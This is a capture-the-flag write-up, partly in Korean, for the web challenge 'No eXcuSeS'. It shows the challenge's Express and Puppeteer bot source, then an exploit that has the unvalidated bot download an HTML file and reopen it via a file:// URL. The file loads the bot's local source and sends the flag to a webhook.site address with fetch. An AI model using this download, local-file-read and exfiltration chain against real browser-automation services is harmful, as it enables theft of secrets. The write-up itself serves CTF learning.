[web] No eXcuSeS (6 solves)
📌 Intro
You can give us one excuse for not solving this challenge, but in the end we hope you will prevail!
Note: For this challenge, you will not be sharing it by anybody else. Thus, you need to start your own instance.
🔬 Analysis
//app.js
const express = require('express');
const bodyParser = require('body-parser');
const { visit } = require('./bot');
const app = express();
const port = 7357;
app.use(bodyParser.urlencoded({ extended: true }));
app.use('/static', express.static('static'));
app.get('/', (req, res) => {
res.redirect('/static/index.html');
});
app.post('/report', (req, res) => {
const url = req.body.url;
visit(url);
res.send('Bot is visiting your url');
});
app.listen(port, '0.0.0.0', () => {
console.log(`Server is running on http://0.0.0.0:${port}`);
});
<!--index.html-->
<script>
// Function to get URL query parameters
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
// Function to display the name and excuse
function displayExcuse() {
// Get values from URL query parameters or input fields
const name = nameInput.value || getQueryParam('name');
const excuse = excuseInput.value || getQueryParam('excuse');
// Return if neither of parameters are present
if (!name && !excuse) {
return;
}
// Display the player name
const nameContent = `Hey ${name}!`
playerName.innerText = nameContent;
// Display the sanitized excuse message
const excuseMessage = `Interesting to hear that you can't solve this challenge because ${excuse}!<br>` +
`We hope you will solve it in the end!`;
playerExcuse.innerHTML = DOMPurify.sanitize(excuseMessage);
}
// Call the displayExcuse function when the page loads
window.onload = displayExcuse;
</script>
메인페이지 (/static/index.html)에 접속하면 name, excuse에 값을 작성할 수 있는 폼이 나온다.
아래와 같이 값을 입력하고 "Display Excuse" 버튼을 클릭하면 메시지가 출력된다.
이 문제는 XSS로 접근하면 삽질이 시작된다.
index.html 코드를 보면 name은 innerText로, excuse는 sanitize 처리가 된다.
// bot.js
const puppeteer = require('puppeteer');
const FLAG = 'kalmar{this_is_a_test_flag!!}';
const HOST = "http://localhost:7357";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function visit(url) {
let browser;
try {
browser = await puppeteer.launch({
headless: "new",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
});
let page = await browser.newPage();
await page.goto(HOST, { timeout: 1000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
document.cookie = "flag=" + flag + "; path=/";
}, FLAG);
await page.close();
page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await sleep(2000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
}
module.exports = { visit };
bot.js 코드를 확인하면, 사용자가 /report로 요청하는 url에 대해 검증 로직이 존재하지 않는 것을 확인할 수 있다. (line 32)
따라서 사용자가 원하는 주소를 입력해서 봇에게 접속 요청을 보낼 수 있다.
🎉 Exploit
개인 서버에 아래의 파일을 업로드한다.
//download.js
var saveData = (function () {
var a = document.createElement("a");
document.body.appendChild(a);
// a.style = "display: none";
return function (data, fileName) {
var blob = new Blob([data], {type: "text/html"}),
url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
};
}());
var htmlData = `<script>
require = function() {}
</script>
<script src="file:///proc/self/cwd/bot.js"></script>
<script>
fetch("https://webhook.site/42fe418e-0114-4eca-a1c6-24b3136c8020?FLAG="+FLAG)
</script>`;
var fileName = "exploit.html";
saveData(htmlData, fileName);
<!--index.html-->
<!DOCTYPE html>
<html>
<head>
<title>HTML Downloader</title>
</head>
<body>
<script src="download.js"></script>
</body>
</html>
이후 /report로 index.html 경로를 url 값으로 주게되면 봇이 해당 url 로 접속하여 아래 스크립트를 다운받는다.
파일이 저장되는 경로는 /root/Downloads/exploit.html 이다.
</script>
<script src="file:///proc/self/cwd/bot.js"></script>
<script>
fetch("https://webhook.site/42fe418e-0114-4eca-a1c6-24b3136c8020?FLAG="+FLAG)
</script>
이제 봇에게 한번 더 접속 요청을 보낸다.
로컬에 파일이 저장되어 있으므로 url은 file:///root/Downloads/exploit.html로 설정한다.
🚩 Flag